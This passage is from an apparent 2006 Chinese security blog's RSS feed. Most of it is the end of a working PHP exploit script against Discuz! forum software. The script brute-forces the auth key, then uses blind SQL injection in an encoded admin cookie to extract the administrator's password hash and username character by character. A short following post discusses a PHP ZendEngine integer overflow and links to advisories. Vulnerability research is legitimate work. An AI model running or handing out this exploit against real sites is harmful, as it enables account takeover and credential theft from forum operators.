</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection: Close\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #800080">$data</span><span style="COLOR: #000000">;<br />    sendpacketii(</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">html_entity_decode</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">str_replace</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br /&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">AND m.password='</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">' </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br />    </span><span style="COLOR: #800080">$pwd_f</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">];<br />    </span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">AND m.secques='</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">'\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br />    </span><span style="COLOR: #800080">$secques_f</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">];<br />    </span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">AND m.uid='</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">'\x0d</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br />    </span><span style="COLOR: #800080">$uid_f</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$t2</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">];<br />    </span><span style="COLOR: #800080">$my_string</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$pwd_f</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$secques_f</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$uid_f</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> ((</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$my_string</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">270</span><span style="COLOR: #000000">) and (</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">eregi</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$my_string</span><span style="COLOR: #000000">))){<br />        </span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;<br />    }<br />}<br /></span><span style="COLOR: #800080">$temp</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> authcode(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">suntzu\tsuntzu\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$tt</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ENCODE</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">calculating key<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">;  </span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">){<br />    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">){<br />        </span><span style="COLOR: #800080">$aa</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">){<br />            </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">){<br />                </span><span style="COLOR: #800080">$aa</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">a</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            }<br />        }<br />        </span><span style="COLOR: #800080">$GLOBALS</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">discuz_auth_key</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$aa</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);<br />        </span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> authcode(</span><span style="COLOR: #800080">$temp</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">DECODE</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$t</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">==</span><span style="COLOR: #800080">$my_string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">]){<br />            </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);<br />        }<br />   }<br />}<br /><br /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">echo "AUTH KEY -&gt;".$key."\r\n";</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$GLOBALS</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">discuz_auth_key</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">;<br /><br /></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pwd hash (md5) -&gt; </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">null</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">array_merge</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">range</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">57</span><span style="COLOR: #000000">)); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">numbers</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">array_merge</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">range</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">97</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">102</span><span style="COLOR: #000000">));</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">a-f letters</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;</span><span style="COLOR: #800080">$password</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$password</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)))<br />{<br />    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br />    {<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">in_array</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">))<br />        {<br />            </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">you can use every char because of base64_decode()<img src="http://www.phpweblog.net/images/dot.gif" />so this bypass magic quotes<img src="http://www.phpweblog.net/images/dot.gif" /><br />            //and some help by extract() to overwrite vars</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">            </span><span style="COLOR: #800080">$sql</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$p</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">admincp.php?action=recyclebin&amp; HTTP/1.0\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent: $agent\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CLIENT-IP: 1.2.3.4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host: </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cookie: adminid=1; cdb_sid=1; cdb_auth=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">authcode(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">suntzu\tsuntzu\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$sql</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ENCODE</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept: text/plain\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection: Close\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />            </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #800080">$data</span><span style="COLOR: #000000">;<br />            sendpacketii(</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">);<br />            </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">eregi</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">action=groupexpiry</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">)){<br />                </span><span style="COLOR: #800080">$password</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);</span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);</span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;<br />            }<br />        }<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">) {<br />            </span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\nExploit failed<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br />        }<br />    }<br /></span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;<br />}<br /><br /></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\nadmin user     -&gt; </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;</span><span style="COLOR: #800080">$admin</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$admin</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)))<br />{<br />    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br />    {<br />        </span><span style="COLOR: #800080">$sql</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">999999'/**/UNION/**/SELECT/**/'tOe7fl',1,s.groupid='6'/**/AS/**/ipbanned,1,0,20366,1,'suntzu','aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','',1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$p</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">admincp.php?action=recyclebin&amp; HTTP/1.0\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent: $agent\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CLIENT-IP: 1.2.3.4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host: </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cookie: adminid=1; cdb_sid=1; cdb_auth=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">authcode(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">suntzu\tsuntzu\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$sql</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ENCODE</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept: text/plain\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection: Close\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />        </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #800080">$data</span><span style="COLOR: #000000">;<br />        sendpacketii(</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">);<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">eregi</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">action=groupexpiry</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">)){<br />            </span><span style="COLOR: #800080">$admin</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);</span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);</span><span style="COLOR: #008080">sleep</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);</span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;<br />        }<br />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">) {</span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\nExploit failed<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}<br />   }<br /></span><span style="COLOR: #800080">$j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;<br />}<br /><br /></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000"> is_hash(</span><span style="COLOR: #800080">$hash</span><span style="COLOR: #000000">)<br />{<br /> </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">ereg</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">^[a-f0-9]{32}</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">trim</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$hash</span><span style="COLOR: #000000">))) {</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;}<br /> </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> {</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;}<br />}<br /><br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (is_hash(</span><span style="COLOR: #800080">$password</span><span style="COLOR: #000000">)) {<br />   </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">exploit succeeded<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />}<br /></span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> {<br />   </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">exploit failed<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />}<br /></span><span style="COLOR: #000000">?&gt;</span></div><img src ="http://www.phpweblog.net/GaRY/aggbug/480.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-10-27 21:15 <a href="http://www.phpweblog.net/GaRY/archive/2006/10/27/480.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP ZendEngine ECalloc Integer Overflow Vulnerability</title><link>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 10 Oct 2006 11:05:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/451.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/451.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/451.html</trackback:ping><description><![CDATA[先引用一段话:<br /><br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">这个洞目前只在cvs里做了修补，PHP </span><span style="COLOR: #000000">5.1</span><span style="COLOR: #000000">.6都有影响,而且是php底部api出的问题,应该是很多函数都有影响.<br />看起来貌似很爽的样子<br /><a href="http://www.securityfocus.com/bid/20349/info">http://www.securityfocus.com/bid/20349/info</a></span><span style="COLOR: #000000"><br /><a href="http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161&amp;r2=1.162">http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161&amp;r2=1.162</a></span><span style="COLOR: #000000"></span></div><br />比如下面这个漏洞就是由ecalloc引起的:<br /><br />PHP unserialize() Array Creation Integer Overflow<br /><a href="http://www.hardened-php.net/advisory_092006.133.html">http://www.hardened-php.net/advisory_092006.133.html</a><br /><br />真是应了我上篇日志的话,以后php漏洞,得往底层找去,底层找才有出路啊<img src ="http://www.phpweblog.net/GaRY/aggbug/451.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-10-10 19:05 <a href="http://www.phpweblog.net/GaRY/archive/2006/10/10/451.html#Feedback" target="_blank" 